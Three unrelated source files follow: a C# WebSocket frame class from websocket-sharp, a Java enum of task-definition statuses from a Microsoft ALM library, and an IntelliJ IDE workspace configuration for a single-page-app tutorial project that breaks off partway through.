text:
#if UNITY_EDITOR || !(UNITY_WEBPLAYER || UNITY_WEBGL)
#region License

#endregion

#region Contributors
/*
 * Contributors:
 * - Chris Swiedler
 */
#endregion

using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Text;

namespace WebSocketSharp
{
  internal class WebSocketFrame : IEnumerable<byte>
  {
    #region Private Fields

    private byte[]      _extPayloadLength;
    private Fin         _fin;
    private Mask        _mask;
    private byte[]      _maskingKey;
    private Opcode      _opcode;
    private PayloadData _payloadData;
    private byte        _payloadLength;
    private Rsv         _rsv1;
    private Rsv         _rsv2;
    private Rsv         _rsv3;

    #endregion

    #region Internal Fields

    /// <summary>
    /// Represents the ping frame without the payload data as an array of <see cref="byte"/>.
    /// </summary>
    /// <remarks>
    /// The value of this field is created from a non masked frame, so it can only be used to
    /// send a ping from a server.
    /// </remarks>
    internal static readonly byte[] EmptyPingBytes;

    #endregion

    #region Static Constructor

    static WebSocketFrame ()
    {
      EmptyPingBytes = CreatePingFrame (false).ToArray ();
    }

    #endregion

    #region Private Constructors

    private WebSocketFrame ()
    {
    }

    #endregion

    #region Internal Constructors

    internal WebSocketFrame (Opcode opcode, PayloadData payloadData, bool mask)
      : this (Fin.Final, opcode, payloadData, false, mask)
    {
    }

    internal WebSocketFrame (Fin fin, Opcode opcode, byte[] data, bool compressed, bool mask)
      : this (fin, opcode, new PayloadData (data), compressed, mask)
    {
    }

    internal WebSocketFrame (
      Fin fin, Opcode opcode, PayloadData payloadData, bool compressed, bool mask)
    {
      _fin = fin;
      _rsv1 = opcode.IsData () && compressed ? Rsv.On : Rsv.Off;
      _rsv2 = Rsv.Off;
      _rsv3 = Rsv.Off;
      _opcode = opcode;

      var len = payloadData.Length;
      if (len < 126) {
        _payloadLength = (byte) len;
        _extPayloadLength = WebSocket.EmptyBytes;
      }
      else if (len < 0x010000) {
        _payloadLength = (byte) 126;
        _extPayloadLength = ((ushort) len).InternalToByteArray (ByteOrder.Big);
      }
      else {
        _payloadLength = (byte) 127;
        _extPayloadLength = len.InternalToByteArray (ByteOrder.Big);
      }

      if (mask) {
        _mask = Mask.On;
        _maskingKey = createMaskingKey ();
        payloadData.Mask (_maskingKey);
      }
      else {
        _mask = Mask.Off;
        _maskingKey = WebSocket.EmptyBytes;
      }

      _payloadData = payloadData;
    }

    #endregion

    #region Internal Properties

    internal int ExtendedPayloadLengthCount {
      get {
        return _payloadLength < 126 ? 0 : (_payloadLength == 126 ? 2 : 8);
      }
    }

    internal ulong FullPayloadLength {
      get {
        return _payloadLength < 126
               ? _payloadLength
               : _payloadLength == 126
                 ? _extPayloadLength.ToUInt16 (ByteOrder.Big)
                 : _extPayloadLength.ToUInt64 (ByteOrder.Big);
      }
    }

    #endregion

    #region Public Properties

    public byte[] ExtendedPayloadLength {
      get {
        return _extPayloadLength;
      }
    }

    public Fin Fin {
      get {
        return _fin;
      }
    }

    public bool IsBinary {
      get {
        return _opcode == Opcode.Binary;
      }
    }

    public bool IsClose {
      get {
        return _opcode == Opcode.Close;
      }
    }

    public bool IsCompressed {
      get {
        return _rsv1 == Rsv.On;
      }
    }

    public bool IsContinuation {
      get {
        return _opcode == Opcode.Cont;
      }
    }

    public bool IsControl {
      get {
        return _opcode >= Opcode.Close;
      }
    }

    public bool IsData {
      get {
        return _opcode == Opcode.Text || _opcode == Opcode.Binary;
      }
    }

    public bool IsFinal {
      get {
        return _fin == Fin.Final;
      }
    }

    public bool IsFragment {
      get {
        return _fin == Fin.More || _opcode == Opcode.Cont;
      }
    }

    public bool IsMasked {
      get {
        return _mask == Mask.On;
      }
    }

    public bool IsPing {
      get {
        return _opcode == Opcode.Ping;
      }
    }

    public bool IsPong {
      get {
        return _opcode == Opcode.Pong;
      }
    }

    public bool IsText {
      get {
        return _opcode == Opcode.Text;
      }
    }

    public ulong Length {
      get {
        return 2 + (ulong) (_extPayloadLength.Length + _maskingKey.Length) + _payloadData.Length;
      }
    }

    public Mask Mask {
      get {
        return _mask;
      }
    }

    public byte[] MaskingKey {
      get {
        return _maskingKey;
      }
    }

    public Opcode Opcode {
      get {
        return _opcode;
      }
    }

    public PayloadData PayloadData {
      get {
        return _payloadData;
      }
    }

    public byte PayloadLength {
      get {
        return _payloadLength;
      }
    }

    public Rsv Rsv1 {
      get {
        return _rsv1;
      }
    }

    public Rsv Rsv2 {
      get {
        return _rsv2;
      }
    }

    public Rsv Rsv3 {
      get {
        return _rsv3;
      }
    }

    #endregion

    #region Private Methods

    private static byte[] createMaskingKey ()
    {
      var key = new byte[4];
      WebSocket.RandomNumber.GetBytes (key);

      return key;
    }

    private static string dump (WebSocketFrame frame)
    {
      var len = frame.Length;
      var cnt = (long) (len / 4);
      var rem = (int) (len % 4);

      int cntDigit;
      string cntFmt;
      if (cnt < 10000) {
        cntDigit = 4;
        cntFmt = "{0,4}";
      }
      else if (cnt < 0x010000) {
        cntDigit = 4;
        cntFmt = "{0,4:X}";
      }
      else if (cnt < 0x0100000000) {
        cntDigit = 8;
        cntFmt = "{0,8:X}";
      }
      else {
        cntDigit = 16;
        cntFmt = "{0,16:X}";
      }

      var spFmt = String.Format ("{{0,{0}}}", cntDigit);
      var headerFmt = String.Format (@"
{0} 01234567 89ABCDEF 01234567 89ABCDEF
{0}+--------+--------+--------+--------+\n", spFmt);
      var lineFmt = String.Format ("{0}|{{1,8}} {{2,8}} {{3,8}} {{4,8}}|\n", cntFmt);
      var footerFmt = String.Format ("{0}+--------+--------+--------+--------+", spFmt);

      var output = new StringBuilder (64);
      Func<Action<string, string, string, string>> linePrinter = () => {
        long lineCnt = 0;
        return (arg1, arg2, arg3, arg4) =>
          output.AppendFormat (lineFmt, ++lineCnt, arg1, arg2, arg3, arg4);
      };
      var printLine = linePrinter ();

      output.AppendFormat (headerFmt, String.Empty);

      var bytes = frame.ToArray ();
      for (long i = 0; i <= cnt; i++) {
        var j = i * 4;
        if (i < cnt) {
          printLine (
            Convert.ToString (bytes[j], 2).PadLeft (8, '0'),
            Convert.ToString (bytes[j + 1], 2).PadLeft (8, '0'),
            Convert.ToString (bytes[j + 2], 2).PadLeft (8, '0'),
            Convert.ToString (bytes[j + 3], 2).PadLeft (8, '0'));

          continue;
        }

        if (rem > 0)
          printLine (
            Convert.ToString (bytes[j], 2).PadLeft (8, '0'),
            rem >= 2 ? Convert.ToString (bytes[j + 1], 2).PadLeft (8, '0') : String.Empty,
            rem == 3 ? Convert.ToString (bytes[j + 2], 2).PadLeft (8, '0') : String.Empty,
            String.Empty);
      }

      output.AppendFormat (footerFmt, String.Empty);
      return output.ToString ();
    }

    private static string print (WebSocketFrame frame)
    {
      // Payload Length
      var payloadLen = frame._payloadLength;

      // Extended Payload Length
      var extPayloadLen = payloadLen > 125 ? frame.FullPayloadLength.ToString () : String.Empty;

      // Masking Key
      var maskingKey = BitConverter.ToString (frame._maskingKey);

      // Payload Data
      var payload = payloadLen == 0
                    ? String.Empty
                    : payloadLen > 125
                      ? "---"
                      : frame.IsText && !(frame.IsFragment || frame.IsMasked || frame.IsCompressed)
                        ? frame._payloadData.ApplicationData.UTF8Decode ()
                        : frame._payloadData.ToString ();

      var fmt = @"
                    FIN: {0}
                   RSV1: {1}
                   RSV2: {2}
                   RSV3: {3}
                 Opcode: {4}
                   MASK: {5}
         Payload Length: {6}
Extended Payload Length: {7}
            Masking Key: {8}
           Payload Data: {9}";

      return String.Format (
        fmt,
        frame._fin,
        frame._rsv1,
        frame._rsv2,
        frame._rsv3,
        frame._opcode,
        frame._mask,
        payloadLen,
        extPayloadLen,
        maskingKey,
        payload);
    }

    private static WebSocketFrame processHeader (byte[] header)
    {
      if (header.Length != 2)
        throw new WebSocketException ("The header of a frame cannot be read from the stream.");

      // FIN
      var fin = (header[0] & 0x80) == 0x80 ? Fin.Final : Fin.More;

      // RSV1
      var rsv1 = (header[0] & 0x40) == 0x40 ? Rsv.On : Rsv.Off;

      // RSV2
      var rsv2 = (header[0] & 0x20) == 0x20 ? Rsv.On : Rsv.Off;

      // RSV3
      var rsv3 = (header[0] & 0x10) == 0x10 ? Rsv.On : Rsv.Off;

      // Opcode
      var opcode = (byte) (header[0] & 0x0f);

      // MASK
      var mask = (header[1] & 0x80) == 0x80 ? Mask.On : Mask.Off;

      // Payload Length
      var payloadLen = (byte) (header[1] & 0x7f);

      var err = !opcode.IsSupported ()
                ? "An unsupported opcode."
                : !opcode.IsData () && rsv1 == Rsv.On
                  ? "A non data frame is compressed."
                  : opcode.IsControl () && fin == Fin.More
                    ? "A control frame is fragmented."
                    : opcode.IsControl () && payloadLen > 125
                      ? "A control frame has a long payload length."
                      : null;

      if (err != null)
        throw new WebSocketException (CloseStatusCode.ProtocolError, err);

      var frame = new WebSocketFrame ();
      frame._fin = fin;
      frame._rsv1 = rsv1;
      frame._rsv2 = rsv2;
      frame._rsv3 = rsv3;
      frame._opcode = (Opcode) opcode;
      frame._mask = mask;
      frame._payloadLength = payloadLen;

      return frame;
    }

    private static WebSocketFrame readExtendedPayloadLength (Stream stream, WebSocketFrame frame)
    {
      var len = frame.ExtendedPayloadLengthCount;
      if (len == 0) {
        frame._extPayloadLength = WebSocket.EmptyBytes;
        return frame;
      }

      var bytes = stream.ReadBytes (len);
      if (bytes.Length != len)
        throw new WebSocketException (
          "The extended payload length of a frame cannot be read from the stream.");

      frame._extPayloadLength = bytes;
      return frame;
    }

    private static void readExtendedPayloadLengthAsync (
      Stream stream,
      WebSocketFrame frame,
      Action<WebSocketFrame> completed,
      Action<Exception> error)
    {
      var len = frame.ExtendedPayloadLengthCount;
      if (len == 0) {
        frame._extPayloadLength = WebSocket.EmptyBytes;
        completed (frame);

        return;
      }

      stream.ReadBytesAsync (
        len,
        bytes => {
          if (bytes.Length != len)
            throw new WebSocketException (
              "The extended payload length of a frame cannot be read from the stream.");

          frame._extPayloadLength = bytes;
          completed (frame);
        },
        error);
    }

    private static WebSocketFrame readHeader (Stream stream)
    {
      return processHeader (stream.ReadBytes (2));
    }

    private static void readHeaderAsync (
      Stream stream, Action<WebSocketFrame> completed, Action<Exception> error)
    {
      stream.ReadBytesAsync (2, bytes => completed (processHeader (bytes)), error);
    }

    private static WebSocketFrame readMaskingKey (Stream stream, WebSocketFrame frame)
    {
      var len = frame.IsMasked ? 4 : 0;
      if (len == 0) {
        frame._maskingKey = WebSocket.EmptyBytes;
        return frame;
      }

      var bytes = stream.ReadBytes (len);
      if (bytes.Length != len)
        throw new WebSocketException ("The masking key of a frame cannot be read from the stream.");

      frame._maskingKey = bytes;
      return frame;
    }

    private static void readMaskingKeyAsync (
      Stream stream,
      WebSocketFrame frame,
      Action<WebSocketFrame> completed,
      Action<Exception> error)
    {
      var len = frame.IsMasked ? 4 : 0;
      if (len == 0) {
        frame._maskingKey = WebSocket.EmptyBytes;
        completed (frame);

        return;
      }

      stream.ReadBytesAsync (
        len,
        bytes => {
          if (bytes.Length != len)
            throw new WebSocketException (
              "The masking key of a frame cannot be read from the stream.");

          frame._maskingKey = bytes;
          completed (frame);
        },
        error);
    }

    private static WebSocketFrame readPayloadData (Stream stream, WebSocketFrame frame)
    {
      var len = frame.FullPayloadLength;
      if (len == 0) {
        frame._payloadData = PayloadData.Empty;
        return frame;
      }

      if (len > PayloadData.MaxLength)
        throw new WebSocketException (CloseStatusCode.TooBig, "A frame has a long payload length.");

      var llen = (long) len;
      var bytes = frame._payloadLength < 127
                  ? stream.ReadBytes ((int) len)
                  : stream.ReadBytes (llen, 1024);

      if (bytes.LongLength != llen)
        throw new WebSocketException (
          "The payload data of a frame cannot be read from the stream.");

      frame._payloadData = new PayloadData (bytes, llen);
      return frame;
    }

    private static void readPayloadDataAsync (
      Stream stream,
      WebSocketFrame frame,
      Action<WebSocketFrame> completed,
      Action<Exception> error)
    {
      var len = frame.FullPayloadLength;
      if (len == 0) {
        frame._payloadData = PayloadData.Empty;
        completed (frame);

        return;
      }

      if (len > PayloadData.MaxLength)
        throw new WebSocketException (CloseStatusCode.TooBig, "A frame has a long payload length.");

      var llen = (long) len;
      Action<byte[]> compl = bytes => {
        if (bytes.LongLength != llen)
          throw new WebSocketException (
            "The payload data of a frame cannot be read from the stream.");

        frame._payloadData = new PayloadData (bytes, llen);
        completed (frame);
      };

      if (frame._payloadLength < 127) {
        stream.ReadBytesAsync ((int) len, compl, error);
        return;
      }

      stream.ReadBytesAsync (llen, 1024, compl, error);
    }

    #endregion

    #region Internal Methods

    internal static WebSocketFrame CreateCloseFrame (PayloadData payloadData, bool mask)
    {
      return new WebSocketFrame (Fin.Final, Opcode.Close, payloadData, false, mask);
    }

    internal static WebSocketFrame CreatePingFrame (bool mask)
    {
      return new WebSocketFrame (Fin.Final, Opcode.Ping, PayloadData.Empty, false, mask);
    }

    internal static WebSocketFrame CreatePingFrame (byte[] data, bool mask)
    {
      return new WebSocketFrame (Fin.Final, Opcode.Ping, new PayloadData (data), false, mask);
    }

    internal static WebSocketFrame ReadFrame (Stream stream, bool unmask)
    {
      var frame = readHeader (stream);
      readExtendedPayloadLength (stream, frame);
      readMaskingKey (stream, frame);
      readPayloadData (stream, frame);

      if (unmask)
        frame.Unmask ();

      return frame;
    }

    internal static void ReadFrameAsync (
      Stream stream, bool unmask, Action<WebSocketFrame> completed, Action<Exception> error)
    {
      readHeaderAsync (
        stream,
        frame =>
          readExtendedPayloadLengthAsync (
            stream,
            frame,
            frame1 =>
              readMaskingKeyAsync (
                stream,
                frame1,
                frame2 =>
                  readPayloadDataAsync (
                    stream,
                    frame2,
                    frame3 => {
                      if (unmask)
                        frame3.Unmask ();

                      completed (frame3);
                    },
                    error),
                error),
            error),
        error);
    }

    internal void Unmask ()
    {
      if (_mask == Mask.Off)
        return;

      _mask = Mask.Off;
      _payloadData.Mask (_maskingKey);
      _maskingKey = WebSocket.EmptyBytes;
    }

    #endregion

    #region Public Methods

    public IEnumerator<byte> GetEnumerator ()
    {
      foreach (var b in ToArray ())
        yield return b;
    }

    public void Print (bool dumped)
    {
      Console.WriteLine (dumped ? dump (this) : print (this));
    }

    public string PrintToString (bool dumped)
    {
      return dumped ? dump (this) : print (this);
    }

    public byte[] ToArray ()
    {
      using (var buff = new MemoryStream ()) {
        var header = (int) _fin;
        header = (header << 1) + (int) _rsv1;
        header = (header << 1) + (int) _rsv2;
        header = (header << 1) + (int) _rsv3;
        header = (header << 4) + (int) _opcode;
        header = (header << 1) + (int) _mask;
        header = (header << 7) + (int) _payloadLength;
        buff.Write (((ushort) header).InternalToByteArray (ByteOrder.Big), 0, 2);

        if (_payloadLength > 125)
          buff.Write (_extPayloadLength, 0, _payloadLength == 126 ? 2 : 8);

        if (_mask == Mask.On)
          buff.Write (_maskingKey, 0, 4);

        if (_payloadLength > 0) {
          var bytes = _payloadData.ToArray ();
          if (_payloadLength < 127)
            buff.Write (bytes, 0, bytes.Length);
          else
            buff.WriteBytes (bytes, 1024);
        }

        buff.Close ();
        return buff.ToArray ();
      }
    }

    public override string ToString ()
    {
      return BitConverter.ToString (ToArray ());
    }

    #endregion

    #region Explicit Interface Implementations

    IEnumerator IEnumerable.GetEnumerator ()
    {
      return GetEnumerator ();
    }

    #endregion
  }
}
#endif


text:
// @formatter:off

package com.microsoft.alm.teamfoundation.distributedtask.webapi;

/**
 */
public enum TaskDefinitionStatus {

    PREINSTALLED(1),
    RECEIVED_INSTALL_OR_UPDATE(2),
    INSTALLED(3),
    RECEIVED_UNINSTALL(4),
    UNINSTALLED(5),
    REQUESTED_UPDATE(6),
    UPDATED(7),
    ALREADY_UP_TO_DATE(8),
    INLINE_UPDATE_RECEIVED(9),
    ;

    private int value;

    private TaskDefinitionStatus(final int value) {
        this.value = value;
    }

    public int getValue() {
        return value;
    }

    @Override
    public String toString() {
        final String name = super.toString();

        if (name.equals("PREINSTALLED")) { //$NON-NLS-1$
            return "preinstalled"; //$NON-NLS-1$
        }

        if (name.equals("RECEIVED_INSTALL_OR_UPDATE")) { //$NON-NLS-1$
            return "receivedInstallOrUpdate"; //$NON-NLS-1$
        }

        if (name.equals("INSTALLED")) { //$NON-NLS-1$
            return "installed"; //$NON-NLS-1$
        }

        if (name.equals("RECEIVED_UNINSTALL")) { //$NON-NLS-1$
            return "receivedUninstall"; //$NON-NLS-1$
        }

        if (name.equals("UNINSTALLED")) { //$NON-NLS-1$
            return "uninstalled"; //$NON-NLS-1$
        }

        if (name.equals("REQUESTED_UPDATE")) { //$NON-NLS-1$
            return "requestedUpdate"; //$NON-NLS-1$
        }

        if (name.equals("UPDATED")) { //$NON-NLS-1$
            return "updated"; //$NON-NLS-1$
        }

        if (name.equals("ALREADY_UP_TO_DATE")) { //$NON-NLS-1$
            return "alreadyUpToDate"; //$NON-NLS-1$
        }

        if (name.equals("INLINE_UPDATE_RECEIVED")) { //$NON-NLS-1$
            return "inlineUpdateReceived"; //$NON-NLS-1$
        }

        return null;
    }
}

redpajama_set_name: RedPajamaGithub


text:
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
  <component name="ChangeListManager">
    <list default="true" id="7c9492e2-73d0-4827-8b1b-c95312e26620" name="Default" comment="">
      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/misc.xml" afterPath="$PROJECT_DIR$/.idea/misc.xml" />
      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/workspace.xml" afterPath="$PROJECT_DIR$/.idea/workspace.xml" />
      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/spa-from-front-to-end/README.md" afterPath="$PROJECT_DIR$/spa-from-front-to-end/README.md" />
    </list>
    <ignored path="spa-advanced.iws" />
    <ignored path=".idea/workspace.xml" />
    <ignored path="$PROJECT_DIR$/.tmp/" />
    <ignored path="$PROJECT_DIR$/temp/" />
    <ignored path="$PROJECT_DIR$/tmp/" />
    <option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
    <option name="TRACKING_ENABLED" value="true" />
    <option name="SHOW_DIALOG" value="false" />
    <option name="HIGHLIGHT_CONFLICTS" value="true" />
    <option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
    <option name="LAST_RESOLUTION" value="IGNORE" />
  </component>
  <component name="CreatePatchCommitExecutor">
    <option name="PATCH_PATH" value="" />
  </component>
  <component name="ExecutionTargetManager" SELECTED_TARGET="default_target" />
  <component name="FavoritesManager">
    <favorites_list name="spa-advanced" />
  </component>
  <component name="FileColors">
    <fileColor scope="All" color="3e434c" />
  </component>
  <component name="FileEditorManager">
    <leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
      <file leaf-file-name="spa.data.js" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.data.js">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="120">
              <caret line="8" column="0" selection-start-line="8" selection-start-column="0" selection-end-line="18" selection-end-column="5" />
              <folding />
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="README.md" pinned="false" current-in-tab="true">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/README.md">
          <provider editor-type-id="split-provider[text-editor;markdown-preview-editor]">
            <state split_layout="SPLIT">
              <first_editor relative-caret-position="0">
                <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
                <folding />
              </first_editor>
              <second_editor />
            </state>
          </provider>
          <provider selected="true" editor-type-id="split-provider[text-editor;MarkdownPreviewEditor]">
            <state split_layout="SPLIT">
              <first_editor relative-caret-position="540">
                <caret line="37" column="3" selection-start-line="37" selection-start-column="3" selection-end-line="37" selection-end-column="3" />
                <folding />
              </first_editor>
              <second_editor>
                <js_state />
              </second_editor>
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="spa.avtr.js" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.avtr.js">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="225">
              <caret line="15" column="0" selection-start-line="15" selection-start-column="0" selection-end-line="18" selection-end-column="5" />
              <folding />
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="spa.html" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/spa.html">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="465">
              <caret line="31" column="44" selection-start-line="31" selection-start-column="44" selection-end-line="31" selection-end-column="44" />
              <folding />
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="spa.model.js" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.model.js">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="2235">
              <caret line="153" column="9" selection-start-line="153" selection-start-column="9" selection-end-line="153" selection-end-column="9" />
              <folding>
                <element signature="n#!!doc" expanded="true" />
              </folding>
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="spa.js" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.js">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="210">
              <caret line="17" column="31" selection-start-line="17" selection-start-column="31" selection-end-line="17" selection-end-column="31" />
              <folding>
                <element signature="n#!!doc" expanded="true" />
              </folding>
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="spa.shell.js" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.shell.js">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="75">
              <caret line="5" column="20" selection-start-line="5" selection-start-column="20" selection-end-line="5" selection-end-column="20" />
              <folding>
                <element signature="n#!!doc" expanded="true" />
              </folding>
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="spa.shell.css" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/styles/spa.shell.css">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="60">
              <caret line="4" column="87" selection-start-line="4" selection-start-column="87" selection-end-line="4" selection-end-column="87" />
              <folding />
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="spa.fake.js" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/mock/spa.fake.js">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="1320">
              <caret line="92" column="37" selection-start-line="92" selection-start-column="37" selection-end-line="92" selection-end-column="37" />
              <folding>
                <element signature="n#!!doc" expanded="true" />
              </folding>
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="spa.chat.js" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.chat.js">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="120">
              <caret line="8" column="0" selection-start-line="8" selection-start-column="0" selection-end-line="13" selection-end-column="34" />
              <folding />
            </state>
          </provider>
        </entry>
      </file>
    </leaf>
  </component>
  <component name="FileTemplateManagerImpl">
    <option name="RECENT_TEMPLATES">
      <list>
        <option value="gitignore" />
        <option value="HTML File" />
        <option value="JavaScript File" />
        <option value="CSS File" />
      </list>
    </option>
  </component>
  <component name="Git.Settings">
    <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
  </component>
  <component name="IdeDocumentHistory">
    <option name="CHANGED_PATHS">
      <list>
        <option value="$PROJECT_DIR$/.gitignore" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter1/spa.html" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter2/styles/spa.css" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter2/layout.html" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter2/scripts/spa.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter2/styles/spa.shell.css" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter2/scripts/spa.shell.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter2/spa.html" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter3/scripts/spa.model.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter3/scripts/spa.util.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter3/spa.html" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter3/styles/spa.chat.css" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter3/styles/spa.shell.css" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter3/scripts/spa.chat.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter3/scripts/spa.shell.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter3/styles/spa.css" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.util.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/styles/spa.avtr.css" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.avtr.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.data.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.fake.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.util_b.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/semantic.css" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/spa.html" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.model.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/mock/spa.fake.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.shell.js" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/chapter4/styles/spa.shell.css" />
        <option value="$PROJECT_DIR$/spa-from-front-to-end/README.md" />
      </list>
    </option>
  </component>
  <component name="JsBuildToolGruntFileManager" detection-done="true" sorting="DEFINITION_ORDER" />
  <component name="JsBuildToolPackageJson" detection-done="true" sorting="DEFINITION_ORDER" />
  <component name="JsGulpfileManager">
    <detection-done>true</detection-done>
    <sorting>DEFINITION_ORDER</sorting>
  </component>
  <component name="ProjectFrameBounds">
    <option name="y" value="23" />
    <option name="width" value="1440" />
    <option name="height" value="812" />
  </component>
  <component name="ProjectLevelVcsManager" settingsEditedManually="false">
    <OptionsSetting value="true" id="Add" />
    <OptionsSetting value="true" id="Remove" />
    <OptionsSetting value="true" id="Checkout" />
    <OptionsSetting value="true" id="Update" />
    <OptionsSetting value="true" id="Status" />
    <OptionsSetting value="true" id="Edit" />
    <ConfirmationsSetting value="0" id="Add" />
    <ConfirmationsSetting value="0" id="Remove" />
  </component>
  <component name="ProjectView">
    <navigator currentView="ProjectPane" proportions="" version="1">
      <flattenPackages />
      <showMembers />
      <showModules />
      <showLibraryContents />
      <hideEmptyPackages />
      <abbreviatePackageNames />
      <autoscrollToSource />
      <autoscrollFromSource />
      <sortByType />
      <manualOrder />
      <foldersAlwaysOnTop value="true" />
    </navigator>
    <panes>
      <pane id="Scope" />
      <pane id="Scratches" />
      <pane id="ProjectPane">
        <subPane>
          <PATH>
            <PATH_ELEMENT>
              <option name="myItemId" value="spa-advanced" />
              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
            </PATH_ELEMENT>
          </PATH>
          <PATH>
            <PATH_ELEMENT>
              <option name="myItemId" value="spa-advanced" />
              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
            </PATH_ELEMENT>
            <PATH_ELEMENT>
              <option name="myItemId" value="spa-advanced" />
              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
            </PATH_ELEMENT>
          </PATH>
          <PATH>
            <PATH_ELEMENT>
              <option name="myItemId" value="spa-advanced" />
              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
            </PATH_ELEMENT>
            <PATH_ELEMENT>
              <option name="myItemId" value="spa-advanced" />
              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
            </PATH_ELEMENT>
            <PATH_ELEMENT>
              <option name="myItemId" value="spa-from-front-to-end" />
              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
            </PATH_ELEMENT>
          </PATH>
        </subPane>
      </pane>
    </panes>
  </component>
  <component name="PropertiesComponent">
    <property name="settings.editor.selected.configurable" value="Settings.JavaScript.Linters.JSLint" />
    <property name="settings.editor.splitter.proportion" value="0.2" />
    <property name="JavaScriptPreferStrict" value="true" />
    <property name="JavaScriptWeakerCompletionTypeGuess" value="true" />
    <property name="HbShouldOpenHtmlAsHb" value="" />
    <property name="nodejs_interpreter_path" value="/usr/local/bin/node" />
    <property name="javascript.nodejs.core.library.configured.version" value="4.4.4" />
    <property name="last_opened_file_path" value="$PROJECT_DIR$" />
    <property name="WebServerToolWindowFactoryState" value="false" />
    <property name="js-jscs-nodeInterpreter" value="$USER_HOME$/.nvm/versions/node/v7.10.0/bin/node" />
    <property name="add_unversioned_files" value="true" />
    <property name="DefaultHtmlFileTemplate" value="HTML File" />
    <property name="list.type.of.created.stylesheet" value="CSS" />
  </component>
  <component name="RecentsManager">
    <key name="MoveFile.RECENT_KEYS">
      <recent name="$PROJECT_DIR$/spa-from-front-to-end/chapter4/mock" />
      <recent name="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/lib" />
    </key>
    <key name="CopyFile.RECENT_KEYS">
